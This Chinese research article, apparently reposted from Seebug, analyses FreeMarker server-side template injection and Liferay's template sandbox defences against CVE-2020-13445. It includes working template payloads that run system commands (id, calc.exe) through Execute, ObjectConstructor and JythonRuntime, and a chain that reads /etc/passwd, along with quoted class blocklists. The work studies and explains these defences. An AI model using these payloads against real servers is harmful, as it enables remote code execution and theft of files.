1. 程式人生 > 實用技巧 >逃逸安全的模板沙箱(一)——FreeMarker(上)

逃逸安全的模板沙箱(一)——FreeMarker(上)

本文首發於Seebug Paper,原文連結:https://paper.seebug.org/1304/

前言

8月5日 @pwntester 聯合 @Oleksandr Mirosh 發表了一個關於 Java 模板注入的BlackHat USA 2020 議題[1],議題介紹了現階段各種 CMS 模板引擎中存在的缺陷,其中包含通用缺陷以及各個模板引擎特性造成的缺陷。由於不同模板引擎有不同語法特性,因此文章將分為系列文章進行闡述。

筆者前期主要是對 Liferay 的 FreeMarker 引擎進行了除錯分析,故本文先以 FreeMarker 為例,梳理該模板引擎 SSTI 漏洞的前世今生,同時敘述自己的 Liferay FreeMarker SSTI 漏洞踩坑歷程及對 Liferay 安全機制的分析。由於涉及內容比較多,請大家耐心閱讀,若是已經本身對 FreeMarker 引擎有了解,可直接跳到文章後半部分閱讀。

FreeMarker基礎知識

FreeMarker 是一款模板引擎,即一種基於模板和需要改變的資料, 並用來生成輸出文字( HTML 網頁,電子郵件,配置檔案,原始碼等)的通用工具,其模板語言為 FreeMarker Template Language (FTL)。

在這裡簡單介紹下 FreeMarker 的幾個語法,其餘語法指令可自行在 FreeMarker 官方手冊[2]進行查詢。

FTL指令規則

在 FreeMarker 中,我們可以通過FTL標籤來使用指令。FreeMarker 有3種 FTL 標籤,這和 HTML 標籤是完全類似的。

開始標籤:<#directivename parameter> 
結束標籤:</#directivename> 
空標籤:<#directivename parameter/> 

實際上,使用標籤時前面的符號 # 也可能變成 @,如果該指令是一個使用者指令而不是系統內建指令時,應將 # 符號改成 @ 符號。這裡主要介紹 assign 指令,主要是用於為該模板頁面建立替換一個頂層變數。

<#assign name1=value1 name2=value2 ... nameN=valueN>
or
<#assign same as above... in namespacehash>
or
<#assign name>
  capture this
</#assign>
or
<#assign name in namespacehash>
  capture this
</#assign>
    
Tips:name為變數名,value為表示式,namespacehash是名稱空間建立的雜湊表,是表示式。
    
for example:
<#assign seq = ["foo", "bar", "baz"]>//建立了一個變數名為seq的序列

建立好的變數,可以通過插值進行呼叫。插值是用來給表示式插入具體值然後轉換為文字(字串),FreeMarker 的插值主要有如下兩種型別:

  • 通用插值:${expr}
  • 數字格式化插值: #{expr}

這裡主要介紹通用插值,當插入的值為字串時,將直接輸出表達式結果,舉個例子:

eg:
${100 + 5} => 105
${seq[1]} => bar //上文建立的序列

插值僅僅可以在兩種位置使用:在文字區(比如 Hello ${name}!) 和字串表示式(比如 <#include "/footer/${company}.html">)中。

內建函式

FreeMarker 提供了大量的內建函式,用於拓展模板語言的功能,大大增強了模板語言的可操作性。具體用法為 variable_name?method_name。然而其中也存在著一些危險的內建函式,這些函式也可以在官方文件中找到,此處不過多闡述。主要介紹兩個內建函式,apinew,如果開發人員不加以限制,將造成極大危害。

  • api函式

    如果 value 本身支撐api這個特性,value?api會提供訪問 value 的 API(通常為 Java API),比如value?api.someJavaMethod()

    eg:
    <#assign classLoader=object?api.class.protectionDomain.classLoader>
    //獲取到classloader即可通過loadClass方法載入惡意類
    

    但值得慶幸的是,api內建函式並不能隨意使用,必須在配置項api_builtin_enabledtrue時才有效,而該配置在2.3.22版本之後預設為false

  • new函式

    這是用來建立一個具體實現了TemplateModel介面的變數的內建函式。在 ? 的左邊可以指定一個字串, 其值為具體實現了 TemplateModel 介面的完整類名,然後函式將會呼叫該類的構造方法生成一個物件並返回。

    //freemarker.template.utility.Execute實現了TemplateMethodModel介面(繼承自TemplateModel)
    <#assign ex="freemarker.template.utility.Execute"?new()> 
        ${ex("id")}//系統執行id命令並返回
    => uid=81(tomcat) gid=81(tomcat) groups=81(tomcat)
    

    擁有編輯模板許可權的使用者可以建立任意實現了 TemplateModel 介面的Java物件,同時還可以觸發沒有實現 TemplateModel 介面的類的靜態初始化塊,因此new函式存在很大的安全隱患。好在官方也提供了限制的方法,可以使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或設定 new_builtin_class_resolver 來限制這個內建函式對類的訪問(從 2.3.17版開始)。

FreeMarker初代SSTI漏洞及安全機制

經過前文的介紹,我們可以發現 FreeMarker 的一些特性將造成模板注入問題,在這裡主要通過apinew兩個內建函式進行分析。

  • api 內建函式的利用

    我們可以通過api內建函式獲取類的classloader然後載入惡意類,或者通過Class.getResource的返回值來訪問URI物件。URI物件包含toURLcreate方法,我們通過這兩個方法建立任意URI,然後用toURL訪問任意URL。

    eg1:
    <#assign classLoader=object?api.class.getClassLoader()>
    ${classLoader.loadClass("our.desired.class")}
        
    eg2:
    <#assign uri=object?api.class.getResource("/").toURI()>
    <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
    <#assign is=input?api.getInputStream()>
    FILE:[<#list 0..999999999 as _>
        <#assign byte=is.read()>
        <#if byte == -1>
            <#break>
        </#if>
    ${byte}, </#list>]
    
  • new 內建函式的利用

    主要是尋找實現了 TemplateModel 介面的可利用類來進行例項化。freemarker.template.utility包中存在三個符合條件的類,分別為Execute類、ObjectConstructor類、JythonRuntime類。

    <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}
    <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
    <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>//@value為自定義標籤
    

當然對於這兩種方式的利用,FreeMarker 也做了相應的安全措施。針對api的利用方式,設定配置項api_builtin_enabled的預設值為false。同時為了防禦通過其他方式呼叫惡意方法,FreeMarker內建了一份危險方法名單unsafeMethods.properties[3],諸如getClassLoadernewInstance等危險方法都被禁用了,下面列出一小部分,其餘請自行查閱檔案。

//unsafeMethods.properties
java.lang.Object.wait()
java.lang.Object.wait(long)
java.lang.Object.wait(long,int)
java.lang.Object.notify()
java.lang.Object.notifyAll()

java.lang.Class.getClassLoader()
java.lang.Class.newInstance()
java.lang.Class.forName(java.lang.String)
java.lang.Class.forName(java.lang.String,boolean,java.lang.ClassLoader)

java.lang.reflect.Constructor.newInstance([Ljava.lang.Object;)
...
more

針對new的利用方式,上文已提到過官方提供的一種限制方式——使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver) 或設定 new_builtin_class_resolver 來限制這個內建函式對類的訪問。此處官方提供了三個預定義的解析器:

  • UNRESTRICTED_RESOLVER:簡單地呼叫ClassUtil.forName(String)
  • SAFER_RESOLVER:和第一個類似,但禁止解析ObjectConstructorExecutefreemarker.template.utility.JythonRuntime
  • ALLOWS_NOTHING_RESOLVER:禁止解析任何類。

當然使用者自身也可以自定義解析器以拓展對危險類的限制,只需要實現TemplateClassResolver介面就好了,接下來會介紹到的 Liferay 就是通過其自定義的解析器LiferayTemplateClassResolver去構建 FreeMarker 的模板沙箱。

Liferay FreeMarker模板引擎SSTI漏洞踩坑歷程

碰出一扇窗

在研究這個 BlackHat 議題的過程中,我們遇到了很多問題,接下來就順著我們的分析思路,一起探討 Liferay 的安全機制,本次測試用的環境為 Liferay Portal CE 7.3 GA1。

先來看看 GHSL 安全團隊釋出的 Liferay SSTI 漏洞通告[4]:

Even though Liferay does a good job extending the FreeMarker sandbox with a custom ObjectWrapper (com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java) which enhances which objects can be accessed from a Template, and also disables insecure defaults such as the ?new built-in to prevent instantiation of arbitrary classes, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects.

可以看到,給出的資訊十分精簡有限,但是還是能從中找到關鍵點。結合議題介紹和其他同類型的漏洞介紹,我們能梳理出一些關鍵點。

  • Exposed Object

    通告中提及了通過模板 API 暴露出大量的可訪問物件,而這些物件即為 SSTI 漏洞的入口,通過這些物件的方法或者屬性可以進行模板沙箱的繞過。這也是議題的一大重點,因為大多數涉及第三方模板引擎的CMS都沒有對這些暴露的物件進行控制。

  • RestrictedLiferayObjectWrapper.java

    根據介紹,該自定義的ObjectWrapper拓展了FreeMarker的安全沙箱,增強了可通過模板訪問的物件,同時也限制了不安全的預設配置以防止例項化任何類,比如?new方法。可以看出這是Liferay賦予模板沙箱的主要安全機制。

可以看到,重點在於如何找到暴露出的物件,其次思考如何利用這些物件繞過Liferay的安全機制。

我們在編輯模板時,會看到一個程式碼提示框。列表中的變數都是可以訪問的,且無需定義,也不用實現TemplateModel介面。但該列表會受到沙箱的限制,其中有一部分物件被封禁,無法被呼叫。

這些便是通過模板 API 暴露出來的一部分物件,但這是以使用者視角所看到的,要是我們以執行態的視角去觀察呢。既然有了暴露點,其背後肯定存在著許多未暴露出的物件。

所以我們可以通過除錯定位到一個關鍵物件——FreeMarkerTemplate,其本質上是一個Map<String, Object>物件。該物件不僅涵蓋了上述列表中的物件,還存在著很多其他未暴露出的物件。整個FreeMarkerTemplate物件共列出了154個物件,大大拓寬了我們的利用思路。在FreeMarker引擎裡,這些物件被稱作為根資料模型(rootDataModel)。

那麼可以嘗試從這154個物件中找出可利用的點,為此筆者進行了眾多嘗試,但由於 Liferay 健全的安全機制,全都失敗了。下面是一些除錯過程中發現在後續利用過程中可能有用的物件:

"getterUtil" -> {GetterUtil_IW@47242} //存在各種get方法
"saxReaderUtil" -> {$Proxy411@47240} "com.liferay.portal.xml.SAXReaderImpl@294e3d8d"
    //代理物件,存在read方法,可以傳入File、url等引數
"expandoValueLocalService" -> {$Proxy58@47272} "com.liferay.portlet.expando.service.impl.ExpandoValueLocalServiceImpl@15152694"
    //代理物件,其handler為AopInvocationHandler,存在invoke方法,且方法名和引數名可控。proxy物件可以通過其setTarget方法進行替換。
"realUser" -> {UserImpl@49915}//敏感資訊
"user" -> {UserImpl@49915}//敏感資訊
"unicodeFormatter" -> {UnicodeFormatter_IW@47290} //編碼轉換
"urlCodec" -> {URLCodec_IW@47344} //url編解碼
"jsonFactoryUtil" -> {JSONFactoryImpl@47260} //可以操作各種JSON相關方法

接下來將會通過敘述筆者對各種利用思路的嘗試,對 Liferay 中 FreeMarker 模板引擎的安全機制進行深入分析。

“攻不破”的 Liferay FreeMarker 安全機制

在以往我們一般是通過Class.getClassloader().loadClass(xxx)的方式載入任意類,但是在前文提及的unsafeMethods.properties中,我們可以看到java.lang.Class.getClassLoader()方法是被禁止呼叫的。

這時候我們只能另闢蹊徑,在 Java 官方文件中可以發現Class類有一個getProtectionDomain方法,可以返回一個ProtectionDomain物件[5]。而這個物件同時也有一個getClassLoader方法,並且ProtectionDomain.getClassLoader方法並沒有被禁止呼叫。

獲取CLassLoader的方式有了,接下來,我們只要能夠獲得class物件,就可以載入任意類。但是當我們試圖去獲取class物件時,會發現這是行不通的,因為這會觸發 Liferay 的安全機制。

定位到 GHSL 團隊提及的com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper.java檔案,可以發現模板物件會經過wrap方法修飾。

通過wrap(java.lang.Object obj)方法,使用者可以傳入一個Object物件,然後返回一個與之對應的TemplateModel物件,或者丟擲異常。模板在語法解析的過程中會呼叫TemplateModel物件的get方法,而其中又會呼叫BeansWrapperinvokeMethod進行解析,最後會呼叫外部的wrap方法對獲取到的物件進行包裝。

此處的getOuterIdentity即為TemplateModel物件指定的Wrapper。除了預定義的一些物件,其餘預設使用RestrictedLiferayObjectWrapper進行解析。

回到RestrictedLiferayObjectWrapper,該包裝類主要的繼承關係為RestrictedLiferayObjectWrapper->LiferayObjectWrapper->DefaultObjectWrapper->BeansWrapper,在wrap的執行過程中會逐步呼叫父類的wrap方法,那麼先來分析RestrictedLiferayObjectWrapperwrap方法。

wrap方法中會先通過getClass()方法獲得class物件,然後呼叫_checkClassIsRestricted方法,進行黑名單類的判定。

此處_allowedClassNames_restrictedClasses_restrictedMethodNames是在com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration中被預先定義的黑白名單,其中_allowedClassNames預設為空。對比一下7.3.0-GA1和7.3.2-GA3內建的黑名單:

  • 7.3.0-GA1

    @Meta.AD(name = "allowed-classes", required = false)
    public String[] allowedClasses();
    
    @Meta.AD(
       deflt = "com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist|java.lang.Class|java.lang.ClassLoader|java.lang.Compiler|java.lang.Package|java.lang.Process|java.lang.Runtime|java.lang.RuntimePermission|java.lang.SecurityManager|java.lang.System|java.lang.Thread|java.lang.ThreadGroup|java.lang.ThreadLocal",
       name = "restricted-classes", required = false
    )
    public String[] restrictedClasses();
    
    @Meta.AD(
       deflt = "com.liferay.portal.model.impl.CompanyImpl#getKey",
       name = "restricted-methods", required = false
    )
    public String[] restrictedMethods();
    
    @Meta.AD(
    	deflt = "httpUtilUnsafe|objectUtil|serviceLocator|staticFieldGetter|staticUtil|utilLocator",
    	name = "restricted-variables", required = false
    )
    public String[] restrictedVariables();
    
  • 7.3.2-GA3

    @Meta.AD(name = "allowed-classes", required = false)
    public String[] allowedClasses();
    
    @Meta.AD(
    	deflt = "com.ibm.*|com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist|com.liferay.portal.spring.context.*|io.undertow.*|java.lang.Class|java.lang.ClassLoader|java.lang.Compiler|java.lang.Package|java.lang.Process|java.lang.Runtime|java.lang.RuntimePermission|java.lang.SecurityManager|java.lang.System|java.lang.Thread|java.lang.ThreadGroup|java.lang.ThreadLocal|org.apache.*|org.glassfish.*|org.jboss.*|org.springframework.*|org.wildfly.*|weblogic.*",
    	name = "restricted-classes", required = false
    )
    public String[] restrictedClasses();
    
    @Meta.AD(
    	deflt = "com.liferay.portal.model.impl.CompanyImpl#getKey",
    	name = "restricted-methods", required = false
    )
    public String[] restrictedMethods();
    
    @Meta.AD(
    	deflt = "httpUtilUnsafe|objectUtil|serviceLocator|staticFieldGetter|staticUtil|utilLocator",
    	name = "restricted-variables", required = false
    )
    public String[] restrictedVariables();
    

已修復的7.3.2版本增加了許多黑名單類,而這些黑名單類就是繞過沙箱的重點。如何利用這些黑名單中提及的類,進行模板沙箱的繞過,我們放在下篇文章進行闡述,這裡暫不討論。

我們可以發現java.lang.Class類已被拉黑,也就是說模板解析的過程中不能出現Class物件。但是,針對這種過濾方式,依舊存在繞過的可能性。

GHSL 安全團隊在 JinJava 的 SSTI 漏洞通告提及到了一個利用方式:

JinJava does a great job preventing access to Class instances. It will prevent any access to a Class property or invocation of any methods returning a Class instance. However, it does not prevent Array or Map accesses returning a Class instance. Therefore, it should be possible to get an instance of Class if we find a method returning Class[] or Map<?, Class>.

既然Class物件被封禁,那麼我們可以考慮通過Class[]進行繞過,因為黑名單機制是通過getClass方法進行判斷的,而[Ljava.lang.Class並不在黑名單內。另外,針對Map<?,Class>的利用方式主要是通過get方法獲取到Class物件,而不是通過getClass方法,主要是用於拓展獲得Class物件的途徑。因為需要自行尋找符合條件的方法,所以這種方式仍然具有一定的侷限性,但是相信這個 trick 在某些場景下的利用能夠大放光彩。

經過一番搜尋,暫未在程式碼中尋找到合適的利用類,因此通過Class物件獲取ClassLoader的思路宣告失敗。此外,實質上ClassLoader也是被加入到黑名單中的。因此就算我們能從模板上下文中直接提取出ClassLoader物件,避免直接通過Class獲取,也無法操控到ClassLoader物件。

既然載入任意類的思路已經被 Liferay 的安全機制防住,我們只能換個思路——尋找一些可被利用的惡意類或者危險方法。此處主要有兩個思路,一個是通過new內建函式例項化惡意類,另外一個就是上文提及的JSONFactoryImpl物件

文章開頭提到過三種利用方式,但是由於 Liferay 自定義解析器的存在,均無法再被利用。定位到com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver這個類,重點關注其resolve方法。可以看見,在程式碼層直接封禁了ExecuteObjectConstructor的例項化,其次又進行了黑名單類的判定。此處restrictedClassNames跟上文所用的黑名單一致。

這時候可能我們會想到,只要另外找一個實現TemplateModel 介面並且不在黑名單內的惡意類(比如JythonRuntime類)就可以成功繞過黑名單。然而 Liferay 的安全機制並沒有這麼簡單,繼續往下看。resolve後半部分進行了白名單校驗,而這裡的allowedClasseNames在配置裡面預設為空,因此就算繞過了黑名單的限制,沒有白名單的庇護也是無濟於事。

黑白名單的配合,直接宣告了new內建函式利用思路的慘敗。不過,在這個過程中,我們還發現了一個有趣的東西。

假設我們擁有控制白名單的許可權,但是對於JythonRuntime類的利用又有環境的限制,這時候只能尋找其他的利用類。在除錯過程中,我們注意到一個類——com.liferay.portal.template.freemarker.internal.LiferayObjectConstructor這個類的結構跟ObjectConstructor極其相似,也同樣擁有exec方法,且引數可控。加入白名單測試彈計算器命指令,可以正常執行。

雖然此處受白名單限制,利用難度較高。但是從另外的角度來看,LiferayObjectConstructor可以說是ObjectConstructor的複製品,在某些場景下可能會起到關鍵作用。

迴歸正題,此時我們只剩下一條思路——JSONFactoryImpl物件。不難發現,這個物件擁有著一系列與JSON有關的方法,其中包括serializedeserialize方法。

重點關注其deserialize方法,因為我們可以控制傳入的JSON字串,從而反序列化出我們需要的物件。此處_jsonSerializerLiferayJSONSerializer物件(繼承自JSONSerializer類)。

跟進LiferayJSONSerializer父類的fromJSON方法,發現其中又呼叫了unmarshall方法。

unmarshall方法中會呼叫getClassFromHint方法,不過該方法在子類被重寫了。

跟進LiferayJSONSerializer.getClassFromHint方法,方法中會先進行javaClass欄位的判斷,如果類不在白名單裡就移除serializable欄位裡的值,然後放進map欄位中,最後將類名更改為java.util.HashMap如果通過白名單校驗,就會通過contextName欄位的值去指定ClassLoader用於載入javaClass欄位指定的類。最後在方法末尾會執行super.getClassFromHint(object),回撥父類的getClassFromHint的方法。

我們回到unmarshall方法,可以看到在方法末尾處會再次呼叫unmarshall方法,實質上這是一個遞迴解析 JSON 字串的過程。這裡有個getSerializer方法,主要是針對不同的class獲取相應的序列器,這裡不過多闡述。

因為遞迴呼叫的因素,每次都會進行類名的白名單判定。而白名單在portal-impl.jar裡的portal.properties被預先定義:

//Line 7227
json.deserialization.whitelist.class.names=\
	com.liferay.portal.kernel.cal.DayAndPosition,\
	com.liferay.portal.kernel.cal.Duration,\
	com.liferay.portal.kernel.cal.TZSRecurrence,\
	com.liferay.portal.kernel.messaging.Message,\
	com.liferay.portal.kernel.model.PortletPreferencesIds,\
	com.liferay.portal.kernel.security.auth.HttpPrincipal,\
	com.liferay.portal.kernel.service.permission.ModelPermissions,\
	com.liferay.portal.kernel.service.ServiceContext,\
	com.liferay.portal.kernel.util.GroupSubscriptionCheckSubscriptionSender,\
	com.liferay.portal.kernel.util.LongWrapper,\
	com.liferay.portal.kernel.util.SubscriptionSender,\
	java.util.GregorianCalendar,\
	java.util.Locale,\
	java.util.TimeZone,\
	sun.util.calendar.ZoneInfo

可以看到,白名單成功限制了使用者通過 JSON 反序列化任意類的操作。雖然白名單類擁有一個register方法,可自定義新增白名單類。但 Liferay 也早已意識到這一點,為了防止該類被惡意操控,將com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist新增進黑名單。

至此,利用思路在 Liferay 的安全機制下全部慘敗。Liferay 健全的黑白名單機制,從根源上限制了大多數攻擊思路的利用,可謂是“攻不破”的銅牆鐵壁。但是,在眾多安全研究人員的猛烈進攻下,該安全機制暴露出一個弱點。通過這個弱點可一舉擊破整個安全機制,從內部瓦解整個防線。而關於這個弱點的闡述及其利用,我們下一篇文章見。

References

[1] Room for Escape: Scribbling Outside the Lines of Template Security

https://www.blackhat.com/us-20/briefings/schedule/#room-for-escape-scribbling-outside-the-lines-of-template-security-20292

[2] FreeMarker Java Template Engine

https://freemarker.apache.org/

[3] FreeMarker unsafeMethods.properties

https://github.com/apache/freemarker/blob/2.3-gae/src/main/resources/freemarker/ext/beans/unsafeMethods.properties

[4] GHSL-2020-043: Server-side template injection in Liferay - CVE-2020-13445

https://securitylab.github.com/advutiliisories/GHSL-2020-043-liferay_ce

[5] ProtectionDomain (Java Platform SE 8 )

https://docs.oracle.com/javase/8/docs/api/index.html?java/security/ProtectionDomain.html

[6] In-depth Freemarker Template Injection

https://ackcent.com/blog/in-depth-freemarker-template-injection/

[7] FreeMarker模板注入實現遠端命令執行

https://www.cnblogs.com/Eleven-Liu/p/12747908.html